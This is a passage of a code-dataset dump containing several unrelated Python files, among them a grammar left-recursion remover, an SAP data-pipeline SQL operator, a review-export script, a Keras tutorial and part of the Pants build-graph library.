orderedHistory[int(len(orderedHistory) / 2)]\n #output the data\n print (\"%.4f,%.4d,%.4d,%.4d,%.4d,%.4d,%.4d,%.4d\"%(time,yaw,pitch,roll,accel,motion,ultra,ultra_low,ultra_high,ultra_median))\n # returns orientation as yaw,pitch,roll\n # print (grove6axis.getMag()) # get magnetometer values\n # Read roughly 10 times a second\n # - n.b. analog read takes time to do also\n # set the time for 1s to display data\n time.sleep(0.1)","sub_path":"0.MRT-CW2-MyCodes/03Apr-MRT-CW2.py","file_name":"03Apr-MRT-CW2.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"328421809","text":"text=open(\"leftrec.txt\")\nfinal={}\nvarcount=66 #to use for new variables\nfor line in text:\n print(line)\n\n ##Go through the code, convert it into chunks\n line=line.replace(\"\\n\",\"\")\n parts=line.split('->')\n lhs=parts[0].strip()\n rhs=parts[1]\n rhsparts=rhs.split(\"|\")\n for count,x in enumerate(rhsparts):\n rhsparts[count]=rhsparts[count].strip()\n\n ##Go through chunks and make sure, RHS!=LHS\n final[lhs]=[]\n final[chr(varcount)]=[]\n for part in rhsparts:\n if part.find(lhs)==0:\n final[chr(varcount)].append(part[1:]+chr(varcount))\n else:\n final[lhs].append(part+chr(varcount))\n final[chr(varcount)].append(\"e\")\n varcount=varcount+1\n\nprint(final)\n","sub_path":"System Programming And Compiler Construction/milindleftrec.py","file_name":"milindleftrec.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126261440","text":"import sdi_utils.gensolution as gs\nimport subprocess\n\nimport os\nimport logging\nimport io\n\n\ntry:\n api\nexcept NameError:\n class api:\n\n queue = list()\n\n class Message:\n def __init__(self, body=None, attributes=\"\"):\n self.body = body\n self.attributes = attributes\n\n def send(port, msg):\n if port == outports[1]['name']:\n api.queue.append(msg)\n\n class config:\n ## Meta data\n config_params = dict()\n version = '0.0.1'\n tags = {}\n operator_name = 'resetPID'\n operator_description = \"Reset PID\"\n\n operator_description_long = \"Resets all DIREPL_STATUS = \\'W\\' for given PIDs.\"\n add_readme = dict()\n add_readme[\"References\"] = \"\"\n\n reset_all = False\n config_params['reset_all'] = {'title': 'Reset All', \\\n 'description':'Resets all records to DIREPL_STATUS = \\'W\\'',\\\n 'type': 'boolean'}\n\n pid_list = ''\n config_params['pid_list'] = {'title': 'PID List', \\\n 'description':'List of PIDs to reset.',\\\n 'type': 'string'}\n\n\n format = '%(asctime)s | %(levelname)s | %(name)s | %(message)s'\n logging.basicConfig(level=logging.DEBUG, format=format, datefmt='%H:%M:%S')\n logger = logging.getLogger(name=config.operator_name)\n\n\ndef read_list(text):\n\n result_list = list()\n #elem_list = text.split(sep)\n elem_list = text.split(',')\n for x in elem_list:\n elem = int(x.strip())\n result_list.append(elem)\n\n return result_list\n\n# catching logger messages for separate output\nlog_stream = io.StringIO()\nsh = logging.StreamHandler(stream=log_stream)\nsh.setFormatter(logging.Formatter('%(asctime)s : %(levelname)s : %(name)s : %(message)s', datefmt='%H:%M:%S'))\napi.logger.addHandler(sh)\n\n\ndef process(msg):\n\n att = dict(msg.attributes)\n att['operator'] = 'resetPID'\n\n if api.config.reset_all :\n sql = 'UPDATE {table} SET \\\"DIREPL_STATUS\\\" = \\'W\\'; '\n\n pid_list = read_list(api.config.pid_list)\n pid_where_list = ' OR '.join(['DIREPL_PID = \\'{}\\''.format(i) for i in pid_list])\n sql = 'UPDATE {table} SET \\\"DIREPL_STATUS\\\" = \\'W\\' WHERE {pid} ;'. \\\n format(table=att['replication_table'], pid=pid_where_list)\n\n api.logger.info('Update statement: {}'.format(sql))\n att['sql'] = sql\n\n #api.send(outports[1]['name'], update_sql)\n api.send(outports[1]['name'], api.Message(attributes=att,body=sql))\n\n api.send(outports[0]['name'], log_stream.getvalue() )\n log_stream.seek(0)\n\n\ninports = [{'name': 'data', 'type': 'message.file', \"description\": \"Input data\"}]\noutports = [{'name': 'log', 'type': 'string', \"description\": \"Logging data\"}, \\\n {'name': 'msg', 'type': 'message', \"description\": \"msg with sql statement\"}]\n\n#api.set_port_callback(inports[0]['name'], process)\n\ndef test_operator():\n\n msg = api.Message(attributes={'pid': 123123213, 'table':'REPL_TABLE','base_table':'REPL_TABLE','latency':30,\\\n 'replication_table':'repl_table', 'data_outcome':True,'packageid':1},body='')\n\n api.config.pid_list = '123, 234, 642, 984'\n process(msg)\n\n for st in api.queue :\n print(st)\n\n\nif __name__ == '__main__':\n test_operator()\n if True:\n basename = os.path.basename(__file__[:-3])\n package_name = os.path.basename(os.path.dirname(os.path.dirname(__file__)))\n project_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n solution_name = '{}_{}.zip'.format(basename, api.config.version)\n package_name_ver = '{}_{}'.format(package_name, api.config.version)\n\n solution_dir = os.path.join(project_dir, 'solution/operators', package_name_ver)\n solution_file = os.path.join(project_dir, 'solution/operators', solution_name)\n\n # rm solution directory\n subprocess.run([\"rm\", '-r', solution_dir])\n\n # create solution directory with generated operator files\n gs.gensolution(os.path.realpath(__file__), api.config, inports, outports)\n\n # Bundle solution directory with generated operator files\n subprocess.run([\"vctl\", \"solution\", \"bundle\", solution_dir, \"-t\", solution_file])\n\n","sub_path":"src/di_replication/resetPID/resetPID.py","file_name":"resetPID.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458337825","text":"import argparse\nfrom bwe import Embedder\n\ndef run(embedder):\n if embedder.data.raw_batches == []:\n embedder.data = embedder.data.load()\n\n if embedder.data.tokenized_batches == []:\n embedder.data = embedder.tokenize()\n\n embedder.data = embedder.bert_embed()\n\ndef main(params_file):\n embedder = Embedder(params_file)\n run(embedder)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--params\",\n type=str,\n default=\"./params.json\",\n help=\"Path to the parameters (.json) file. Default to: ./params.json\")\n args = parser.parse_args()\n main(args.params)","sub_path":"bwe/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651962968","text":"# -*- coding: utf-8 -*-\n# make_export.py\n# Ted Underwood, Jan 2021\n\n# This script does a complicated join on two sets of files:\n\n# a) the original reviews scraped from BRD, which are structured\n# with one line for each ~review~\n# and\n# b) the files produced by pair_index_with_reviews.py, which\n# have one line for each ~book~,\n# and also some summary data at the book level, like mean sentiment\n\n# we want to get all the lines from (a) that match auth-title pairs\n# in (b), and add summary data from (b). We don't add the\n# headings, unfortunately, because we're not allowed to export them.\n\nimport pandas as pd\nimport csv, sys\n\nmetafile = sys.argv[1]\n\ntriplets2process = []\n\nwith open(metafile, encoding = 'utf-8') as f:\n reader = csv.DictReader(f, delimiter = '\\t')\n for row in reader:\n triplets2process.append(row)\n\n# triplets2process = [{'indexpath': '/Users/tunder/Dropbox/python/reviews/brd/data/volume14 extract.txt',\n# 'reviewpath': '/Users/tunder/Dropbox/python/reviews/output/brd_quotes.tsv',\n# 'outfilename': 'pairedvoloutfile.tsv'}]\n\nfor triplet in triplets2process:\n reviewsfile = triplet['reviewsname']\n reviewspath = '/media/secure_volume/brd/output/' + reviewsfile\n\n bookfile = triplet['outfilename'] # it was the 'outfile' for the other script!\n bookpath = '/media/secure_volume/brd/paired/' + bookfile + '.tsv'\n\n if bookfile.endswith('1914') or bookfile.endswith('1915'):\n continue\n # those don't actually exist!\n else:\n print(bookfile)\n\n # reviewspath = triplet['reviewpath']\n # bookpath = triplet['outfilename']\n\n reviews = pd.read_csv(reviewspath, sep = '\\t')\n\n books = pd.read_csv(bookpath, sep = '\\t', engine='python', quoting=csv.QUOTE_NONE, index_col = 'index')\n\n list_of_dfs = []\n\n for idx, row in books.iterrows():\n\n auth = row['author']\n title = row['title']\n\n thisdf = reviews.loc[(reviews['booktitle'] == title) & (reviews['bookauthor'] == auth), : ]\n\n # thisdf = thisdf.assign(wordcount = row['wordcount'])\n thisdf = thisdf.assign(avgsentiment = row['avgsent'])\n thisdf = thisdf.assign(avgsentwmissing = row['avgsentwmissing'])\n thisdf = thisdf.assign(bookindex = idx)\n thisdf = thisdf.assign(numreviewswithsent = row['numreviewswithsent'])\n thisdf = thisdf.assign(numreviewsofbk = row['numallreviews'])\n thisdf = thisdf.assign(authtitlefromindex = row['target'])\n thisdf = thisdf.assign(matchcloseness = row['closeness'])\n\n for idx2, row2 in thisdf.iterrows():\n thisreview = row2['quote']\n allowedwords = []\n if not pd.isnull(thisreview):\n words = thisreview.split()\n else:\n words = []\n\n for w in words:\n if w == '':\n allowedwords = []\n # we don't take any words that might be part of a subject\n # heading; this is achieved by clearing the counter whenever\n # we get to the end of a line marked as part of a subject heading;\n # these will always be the first words in the review\n else:\n allowedwords.append(w.strip('. ,\"'))\n\n allowedwords = sorted(allowedwords, key =str.casefold) # goodbye sequential order\n\n wordbag = ' '.join(allowedwords)\n\n thisdf.at[idx2, 'quote'] = wordbag\n\n thisdf.drop(['sentiment'], axis = 1, inplace = True)\n\n list_of_dfs.append(thisdf)\n\n selected = pd.concat(list_of_dfs)\n\n outname = bookpath.replace('pairedvol', 'nonconsumptive')\n\n selected.to_csv(outname, sep = '\\t', index = False)\n\n\n\n\n\n\n\n\n\n","sub_path":"parsers/makeexport/make_export.py","file_name":"make_export.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568363623","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.python.keras.layers import Dense\n\nprint(tf.__version__)\n\n# number iterations\nITER = 2000\n\n# X = input of our 3 input XOR gate\n# set up the inputs of the neural network (right from the table)\nX = np.array(([0, 0, 0], [0, 0, 1], [0, 1, 0],\n [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1]), dtype=float)\n# y = our output of our neural network\ny = np.array(([1], [0], [0], [0], [0],\n [0], [0], [1]), dtype=float)\n\n\n#sample dataset\nX = np.array([[3.3], [4.4], [5.5], [6.71], [6.93], [4.168],\n [9.779], [6.182], [7.59], [2.167], [7.042],\n [10.791], [5.313], [7.997], [3.1]], dtype=np.float32)\n\ny = np.array([[1.7], [2.76], [2.09], [3.19], [1.694], [1.573],\n [3.366], [2.596], [2.53], [1.221], [2.827],\n [3.465], [1.65], [2.904], [1.3]], dtype=np.float32)\nprint(\"The shape of X is: \", X.shape)\n\nmodel = tf.keras.Sequential()\n\nmodel.add(Dense(32, input_dim=1, activation=tf.nn.sigmoid, use_bias=True))\nmodel.add(Dense(32, activation='sigmoid', use_bias=True))\nmodel.add(Dense(16, activation='relu', use_bias=True))\n#model.add(Dense(16, activation='relu', use_bias=True))\nmodel.add(Dense(4, activation='relu', use_bias=True))\n\nmodel.add(Dense(1, activation='sigmoid', use_bias=True))\n\nmodel.compile(loss='mean_squared_error',\n optimizer='adam',\n metrics=['binary_accuracy'])\n\nprint (model.get_weights())\n\nhistory = model.fit(X, y, epochs=ITER, validation_data=(X, y))\n\nmodel.summary()\n\nprint (model.get_weights())\n\n# printing out to file\nloss_history = history.history[\"loss\"]\nnumpy_loss_history = np.array(loss_history)\n\nnp.savetxt(\"loss_history.txt\", numpy_loss_history, delimiter=\"\\n\")\nbinary_accuracy_history = history.history[\"binary_accuracy\"]\nnumpy_binary_accuracy = np.array(binary_accuracy_history)\nnp.savetxt(\"binary_accuracy.txt\", numpy_binary_accuracy, delimiter=\"\\n\")\n\nprint(np.mean(history.history[\"binary_accuracy\"]))\n\nresult = model.predict(X).round()\n\nprint(result)\n\nx1 = np.linspace(1, ITER, ITER)\n\nfig, ax = plt.subplots(nrows=2)\n\nax[0].plot(x1, numpy_loss_history, color=\"blue\", label=\"loss(iter)\")\nax[0].set_xlabel(\"iter\")\nax[0].set_ylabel(\"loss\")\nax[0].legend()\n\nax[1].plot(x1, numpy_binary_accuracy, color=\"red\", label=\"accuracy(iter)\")\nax[1].set_xlabel(\"iter\")\nax[1].set_ylabel(\"accuracy\")\nax[1].legend()\n\nplt.show()\n\n","sub_path":"scripts/tensor_tuto_02.py","file_name":"tensor_tuto_02.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"454477743","text":"from csv import reader\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n\n# Getting shares data from the first table provided by the customer\nshares = []\nwith open('data/client_data2.csv', 'r') as f:\n shares = [tuple(x) for x in list(reader(f))]\n# REMOVE TITLES FROM ORIGINAM FILE\nshares.pop(0)\nshares = sorted(shares, key=lambda share: share[1])\n# CONVERT COSTS & PROFITS INTO FLOATS TO EASE COMPUTATIONS\nrealshares=[]\nfor i in range(len(shares)):\n share_name = shares[i][0]\n cost = float(shares[i][1])\n gain = float(shares[i][2])\n realshares.append(tuple([share_name, cost, gain]))\n# PARSE DATA FOR ANALYSIS\nused_shares=[]\nnot_used_shares=[]\nfor p in realshares:\n # p[1] >= 0 : to exclude neg valued shares // p[2]>0: to exclude non profitable shares\n if p[1] >= 0 and p[2]>0:\n used_shares.append(p)\n else:\n not_used_shares.append(p)\n\n\"\"\"Used shares\"\"\"\n# print()\n# for k in used_shares:\n# print(k[0], \"\\t\", f\"{k[1]}€\", \"\\t\", f\"{k[2]}€\")\n# print(len(used_shares))\n# print()\n\n\"\"\"Original shares\"\"\"\n# print()\n# for k in realshares:\n# print(k)\n# # print(k[0], \"\\t\", f\"{k[1]}€\", \"\\t\", f\"{k[2]}€\")\n# print(len(realshares))\n# print()\n\n\"\"\"Excluded shares\"\"\"\n# for k in not_used_shares:\n# print(k)\n# print(len(not_used_shares))\n# print()\n\n\"\"\"Brute force graph data\"\"\"\n# big_0_brute_force = [2**i for i in range(21)]\n# for m in big_0_brute_force:\n# print(m)\n\n\"\"\"Graphs\"\"\"\n# df = pd.DataFrame(big_0_brute_force)\n# df = pd.DataFrame(realshares)\n# df = pd.DataFrame(used_shares)\ndf = pd.DataFrame(not_used_shares)\n\nax = df.plot.scatter(x=1 , y=2, alpha=0.5)\nax.set_xlabel('Coûts')\nax.set_ylabel('Profits')\n# ax.set_title(\"Lot 1 - Actions Avec Valeurs Négatives\")\n# ax.set_title(\"Lot 1 - Actions Sans Valeurs Négatives\")\n# ax.set_title(\"Lot 1 - Action.s Exclue.s\")\n# ax.set_title(\"Lot 2 - Actions Avec Valeurs Négatives\")\n# ax.set_title(\"Lot 2 - Actions Sans Valeurs Négatives\")\nax.set_title(\"Lot 2 - Actions Exclues\")\nplt.show()\n","sub_path":"graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"341585816","text":"# coding=utf-8\n# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport itertools\nimport logging\nfrom abc import abstractmethod\nfrom collections import OrderedDict, defaultdict, deque\n\nfrom twitter.common.collections import OrderedSet\n\nfrom pants.build_graph.address import Address\nfrom pants.build_graph.address_lookup_error import AddressLookupError\nfrom pants.build_graph.injectables_mixin import InjectablesMixin\nfrom pants.build_graph.target import Target\nfrom pants.util.meta import AbstractClass\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass BuildGraph(AbstractClass):\n \"\"\"A directed acyclic graph of Targets and dependencies. Not necessarily connected.\n\n :API: public\n \"\"\"\n\n class DuplicateAddressError(AddressLookupError):\n \"\"\"The same address appears multiple times in a dependency list\n\n :API: public\n \"\"\"\n\n class TransitiveLookupError(AddressLookupError):\n \"\"\"Used to append the current node to the error message from an AddressLookupError\n\n :API: public\n \"\"\"\n\n class ManualSyntheticTargetError(AddressLookupError):\n \"\"\"Used to indicate that an synthetic target was defined manually\n\n :API: public\n \"\"\"\n\n def __init__(self, addr):\n super(BuildGraph.ManualSyntheticTargetError, self).__init__(\n 'Found a manually-defined target at synthetic address {}'.format(addr.spec))\n\n class NoDepPredicateWalk(object):\n \"\"\"This is a utility class to aid in graph traversals that don't have predicates on dependency edges.\"\"\"\n\n def __init__(self):\n self._worked = set()\n self._expanded = set()\n\n def expanded_or_worked(self, vertex):\n \"\"\"Returns True if the vertex has been expanded or worked.\"\"\"\n return vertex in self._expanded or vertex in self._worked\n\n def do_work_once(self, vertex):\n \"\"\"Returns True exactly once for the given vertex.\"\"\"\n if vertex in self._worked:\n return False\n self._worked.add(vertex)\n return True\n\n def expand_once(self, vertex, _):\n \"\"\"Returns True exactly once for the given vertex.\"\"\"\n if vertex in self._expanded:\n return False\n self._expanded.add(vertex)\n return True\n\n def dep_predicate(self, target, dep, level):\n return True\n\n class DepPredicateWalk(NoDepPredicateWalk):\n \"\"\"This is a utility class to aid in graph traversals that don't care about the depth.\"\"\"\n\n def __init__(self, dep_predicate):\n super(BuildGraph.DepPredicateWalk, self).__init__()\n self._dep_predicate = dep_predicate\n\n def dep_predicate(self, target, dep, level):\n return self._dep_predicate(target, dep)\n\n @staticmethod\n def closure(*vargs, **kwargs):\n \"\"\"See `Target.closure_for_targets` for arguments.\n\n :API: public\n \"\"\"\n return Target.closure_for_targets(*vargs, **kwargs)\n\n def __init__(self):\n self.reset()\n\n def __len__(self):\n return len(self._target_by_address)\n\n def target_file_count(self):\n \"\"\"Returns a count of source files owned by all Targets in the BuildGraph.\"\"\"\n # TODO: Move this file counting into the `ProductGraph`.\n return sum(t.sources_count() for t in self.targets())\n\n @abstractmethod\n def clone_new(self):\n \"\"\"Returns a new BuildGraph instance of the same type and with the same __init__ params.\"\"\"\n\n def apply_injectables(self, targets):\n \"\"\"Given an iterable of `Target` instances, apply their transitive injectables.\"\"\"\n target_types = {type(t) for t in targets}\n target_subsystem_deps = {s for s in itertools.chain(*(t.subsystems() for t in target_types))}\n for subsystem in target_subsystem_deps:\n # TODO: The is_initialized() check is primarily for tests and would be nice to do away with.\n if issubclass(subsystem, InjectablesMixin) and subsystem.is_initialized():\n subsystem.global_instance().injectables(self)\n\n def reset(self):\n \"\"\"Clear out the state of the BuildGraph, in particular Target mappings and dependencies.\n\n :API: public\n \"\"\"\n self._target_by_address = OrderedDict()\n self._target_dependencies_by_address = defaultdict(OrderedSet)\n self._target_dependees_by_address = defaultdict(set)\n self._derived_from_by_derivative = {} # Address -> Address.\n self._derivatives_by_derived_from = defaultdict(list) # Address -> list of Address.\n self.synthetic_addresses = set()\n\n def contains_address(self, address):\n \"\"\"\n :API: public\n \"\"\"\n return address in self._target_by_address\n\n def get_target_from_spec(self, spec, relative_to=''):\n \"\"\"Converts `spec` into an address and returns the result of `get_target`\n\n :API: public\n \"\"\"\n return self.get_target(Address.parse(spec, relative_to=relative_to))\n\n def get_target(self, address):\n \"\"\"Returns the Target at `address` if it has been injected into the BuildGraph, otherwise None.\n\n :API: public\n \"\"\"\n return self._target_by_address.get(address, None)\n\n def dependencies_of(self, address):\n \"\"\"Returns the dependencies of the Target at `address`.\n\n This method asserts that the address given is actually in the BuildGraph.\n\n :API: public\n \"\"\"\n assert address in self._target_by_address, (\n 'Cannot retrieve dependencies of {address} because it is not in the BuildGraph.'\n .format(address=address)\n )\n return self._target_dependencies_by_address[address]\n\n def dependents_of(self, address):\n \"\"\"Returns the addresses of the targets that depend on the target at `address`.\n\n This method asserts that the address given is actually in the BuildGraph.\n\n :API: public\n \"\"\"\n assert address in self._target_by_address, (\n 'Cannot retrieve dependents of {address} because it is not in the BuildGraph.'\n .format(address=address)\n )\n return self._target_dependees_by_address[address]\n\n def get_derived_from(self, address):\n \"\"\"Get the target the specified target was derived from.\n\n If a Target was injected programmatically, e.g. from codegen, this allows us to trace its\n ancestry. If a Target is not derived, default to returning itself.\n\n :API: public\n \"\"\"\n parent_address = self._derived_from_by_derivative.get(address, address)\n return self.get_target(parent_address)\n\n def get_concrete_derived_from(self, address):\n \"\"\"Get the concrete target the specified target was (directly or indirectly) derived from.\n\n The returned target is guaranteed to not have been derived from any other target.\n\n :API: public\n \"\"\"\n current_address = address\n next_address = self._derived_from_by_derivative.get(current_address, current_address)\n while next_address != current_address:\n current_address = next_address\n next_address = self._derived_from_by_derivative.get(current_address, current_address)\n return self.get_target(current_address)\n\n def get_direct_derivatives(self, address):\n \"\"\"Get all targets derived directly from the specified target.\n\n Note that the specified target itself is not returned.\n\n :API: public\n \"\"\"\n derivative_addrs = self._derivatives_by_derived_from.get(address, [])\n return [self.get_target(addr) for addr in derivative_addrs]\n\n def get_all_derivatives(self, address):\n \"\"\"Get all targets derived directly or indirectly from the specified target.\n\n Note that the specified target itself is not returned.\n\n :API: public\n \"\"\"\n ret = []\n direct = self.get_direct_derivatives(address)\n ret.extend(direct)\n for t in direct:\n ret.extend(self.get_all_derivatives(t.address))\n return ret\n\n def inject_target(self, target, dependencies=None, derived_from=None, synthetic=False):\n \"\"\"Injects a fully realized Target into the BuildGraph.\n\n :API: public\n\n :param Target target: The Target to inject.\n :param list
    dependencies: The Target addresses that `target` depends on.\n :param Target derived_from: The Target that `target` was derived from, usually as a result\n of codegen.\n :param bool synthetic: Whether to flag this target as synthetic, even if it isn't derived\n from another target.\n \"\"\"\n if self.contains_address(target.address):\n raise ValueError('Attempted to inject synthetic {target} derived from {derived_from}'\n ' into the BuildGraph with address {address}, but there is already a Target'\n ' {existing_target} with that address'\n .format(target=target,\n derived_from=derived_from,\n address=target.address,\n existing_target=self.get_target(target.address)))\n\n dependencies = dependencies or frozenset()\n address = target.address\n\n if address in self._target_by_address:\n raise ValueError('A Target {existing_target} already exists in the BuildGraph at address'\n ' {address}. Failed to insert {target}.'\n .format(existing_target=self._target_by_address[address],\n address=address,\n target=target))\n\n if derived_from:\n if not self.contains_address(derived_from.address):\n raise ValueError('Attempted to inject synthetic {target} derived from {derived_from}'\n ' into the BuildGraph, but {derived_from} was not in the BuildGraph.'\n ' Synthetic Targets must be derived from no Target (None) or from a'\n ' Target already in the BuildGraph.'\n .format(target=target,\n derived_from=derived_from))\n self._derived_from_by_derivative[target.address] = derived_from.address\n self._derivatives_by_derived_from[derived_from.address].append(target.address)\n\n if derived_from or synthetic:\n self.synthetic_addresses.add(address)\n\n self._target_by_address[address] = target\n\n for dependency_address in dependencies:\n self.inject_dependency(dependent=address, dependency=dependency_address)\n\n def inject_dependency(self, dependent, dependency):\n \"\"\"Injects a dependency from `dependent` onto `dependency`.\n\n It is an error to inject a dependency if the dependent doesn't already exist, but the reverse\n is not an error.\n\n :API: public\n\n :param Address dependent: The (already injected) address of a Target to which `dependency`\n is being added.\n :param Address dependency: The dependency to be injected.\n \"\"\"\n if dependent not in self._target_by_address:\n raise ValueError('Cannot inject dependency from {dependent} on {dependency} because the'\n ' dependent is not in the BuildGraph.'\n .format(dependent=dependent, dependency=dependency))\n\n # TODO(pl): Unfortunately this is an unhelpful time to error due to a cycle. Instead, we warn\n # and allow the cycle to appear. It is the caller's responsibility to call sort_targets on the\n # entire graph to generate a friendlier CycleException that actually prints the cycle.\n # Alternatively, we could call sort_targets after every inject_dependency/inject_target, but\n # that could have nasty performance implications. Alternative 2 would be to have an internal\n # data structure of the topologically sorted graph which would have acceptable amortized\n # performance for inserting new nodes, and also cycle detection on each insert.\n\n if dependency not in self._target_by_address:\n logger.warning('Injecting dependency from {dependent} on {dependency}, but the dependency'\n ' is not in the BuildGraph. This probably indicates a dependency cycle, but'\n ' it is not an error until sort_targets is called on a subgraph containing'\n ' the cycle.'\n .format(dependent=dependent, dependency=dependency))\n\n if dependency in self.dependencies_of(dependent):\n logger.debug('{dependent} already depends on {dependency}'\n .format(dependent=dependent, dependency=dependency))\n else:\n self._target_dependencies_by_address[dependent].add(dependency)\n self._target_dependees_by_address[dependency].add(dependent)\n\n def targets(self, predicate=None):\n \"\"\"Returns all the targets in the graph in no particular order.\n\n :API: public\n\n :param predicate: A target predicate that will be used to filter the targets returned.\n \"\"\"\n return filter(predicate, self._target_by_address.values())\n\n def sorted_targets(self):\n \"\"\"\n :API: public\n\n :return: targets ordered from most dependent to least.\n \"\"\"\n return sort_targets(self.targets())\n\n def _walk_factory(self, dep_predicate):\n \"\"\"Construct the right context object for managing state during a transitive walk.\"\"\"\n walk = None\n if dep_predicate:\n walk = self.DepPredicateWalk(dep_predicate)\n else:\n walk = self.NoDepPredicateWalk()\n return walk\n\n def walk_transitive_dependency_graph(self,\n addresses,\n work,\n predicate=None,\n postorder=False,\n dep_predicate=None):\n \"\"\"Given a work function, walks the transitive dependency closure of `addresses` using DFS.\n\n :API: public\n\n :param list
    addresses: The closure of `addresses` will be walked.\n :param function work: The function that will be called on every target in the closure using\n the specified traversal order.\n :param bool postorder: When ``True``, the traversal order is postorder (children before\n parents), else it is preorder (parents before children).\n :param function predicate: If this parameter is not given, no Targets will be filtered\n out of the closure. If it is given, any Target which fails the predicate will not be\n walked, nor will its dependencies. Thus predicate effectively trims out any subgraph\n that would only be reachable through Targets that fail the predicate.\n :param function dep_predicate: Takes two parameters, the current target and the dependency of\n the current target. If this parameter is not given, no dependencies will be filtered\n when traversing the closure. If it is given, when the predicate fails, the edge to the dependency\n will not be expanded.\n \"\"\"\n walk = self._walk_factory(dep_predicate)\n\n def _walk_rec(addr, level=0):\n # If we've followed an edge to this address, stop recursing.\n if not walk.expand_once(addr, level):\n return\n\n target = self._target_by_address[addr]\n\n if predicate and not predicate(target):\n return\n\n if not postorder and walk.do_work_once(addr):\n work(target)\n\n for dep_address in self._target_dependencies_by_address[addr]:\n if walk.expanded_or_worked(dep_address):\n continue\n if walk.dep_predicate(target, self._target_by_address[dep_address], level):\n _walk_rec(dep_address, level + 1)\n\n if postorder and walk.do_work_once(addr):\n work(target)\n\n for address in addresses:\n _walk_rec(address)\n\n def walk_transitive_dependee_graph(self, addresses, work, predicate=None, postorder=False):\n \"\"\"Identical to `walk_transitive_dependency_graph`, but walks dependees preorder (or postorder\n if the postorder parameter is True).\n\n This is identical to reversing the direction of every arrow in the DAG, then calling\n `walk_transitive_dependency_graph`.\n\n :API: public\n \"\"\"\n walked = set()\n\n def _walk_rec(addr):\n if addr not in walked:\n walked.add(addr)\n target = self._target_by_address[addr]\n if not predicate or predicate(target):\n if not postorder:\n work(target)\n for dep_address in self._target_dependees_by_address[addr]:\n _walk_rec(dep_address)\n if postorder:\n work(target)\n for address in addresses:\n _walk_rec(address)\n\n def transitive_dependees_of_addresses(self, addresses, predicate=None, postorder=False):\n \"\"\"Returns all transitive dependees of `address`.\n\n Note that this uses `walk_transitive_dependee_graph` and the predicate is passed through,\n hence it trims graphs rather than just filtering out Targets that do not match the predicate.\n See `walk_transitive_dependee_graph for more detail on `predicate`.\n\n :API: public\n\n :param list
    addresses: The root addresses to transitively close over.\n :param function predicate: The predicate passed through to `walk_transitive_dependee_graph`.\n \"\"\"\n ret = OrderedSet()\n self.walk_transitive_dependee_graph(addresses, ret.add, predicate=predicate,\n postorder=postorder)\n return ret\n\n def transitive_subgraph_of_addresses(self, addresses, *vargs, **kwargs):\n \"\"\"Returns all transitive dependencies of `address`.\n\n Note that this uses `walk_transitive_dependencies_graph` and the predicate is passed through,\n hence it trims graphs rather than just filtering out Targets that do not match the predicate.\n See `walk_transitive_dependency_graph for more detail on `predicate`.\n\n :API: public\n\n :param list
    addresses: The root addresses to transitively close over.\n :param function predicate: The predicate passed through to\n `walk_transitive_dependencies_graph`.\n :param bool postorder: When ``True``, the traversal order is postorder (children before\n parents), else it is preorder (parents before children).\n :param function predicate: If this parameter is not given, no Targets will be filtered\n out of the closure. If it is given, any Target which fails the predicate will not be\n walked, nor will its dependencies. Thus predicate effectively trims out any subgraph\n that would only be reachable through Targets that fail the predicate.\n :param function dep_predicate: Takes two parameters, the current target and the dependency of\n the current target. If this parameter is not given, no dependencies will be filtered\n when traversing the closure. If it is given, when the predicate fails, the edge to the dependency\n will not be expanded.\n \"\"\"\n ret = OrderedSet()\n self.walk_transitive_dependency_graph(addresses, ret.add,\n *vargs,\n **kwargs)\n return ret\n\n def transitive_subgraph_of_addresses_bfs(self,\n addresses,\n predicate=None,\n dep_predicate=None):\n \"\"\"Returns the transitive dependency closure of `addresses` using BFS.\n\n :API: public\n\n :param list
    addresses: The closure of `addresses` will be walked.\n :param function predicate: If this parameter is not given, no Targets will be filtered\n out of the closure. If it is given, any Target which fails the predicate will not be\n walked, nor will its dependencies. Thus predicate effectively trims out any subgraph\n that would only be reachable through Targets that fail the predicate.\n :param function dep_predicate: Takes two parameters, the current target and the dependency of\n the current target. If this parameter is not given, no dependencies will be filtered\n when traversing the closure. If it is given, when the predicate fails, the edge to the dependency\n will not be expanded.\n \"\"\"\n walk = self._walk_factory(dep_predicate)\n\n ordered_closure = OrderedSet()\n to_walk = deque((0, addr) for addr in addresses)\n while len(to_walk) > 0:\n level, address = to_walk.popleft()\n\n if not walk.expand_once(address, level):\n continue\n\n target = self._target_by_address[address]\n if predicate and not predicate(target):\n continue\n if walk.do_work_once(address):\n ordered_closure.add(target)\n for dep_address in self._target_dependencies_by_address[address]:\n if walk.expanded_or_worked(dep_address):\n continue\n if walk.dep_predicate(target, self._target_by_address[dep_address], level):\n to_walk.append((level + 1, dep_address))\n return ordered_closure\n\n @abstractmethod\n def inject_synthetic_target(self,\n address,\n target_type,\n dependencies=None,\n derived_from=None,\n **kwargs):\n \"\"\"Constructs and injects Target at `address` with optional `dependencies` and `derived_from`.\n\n This method is useful especially for 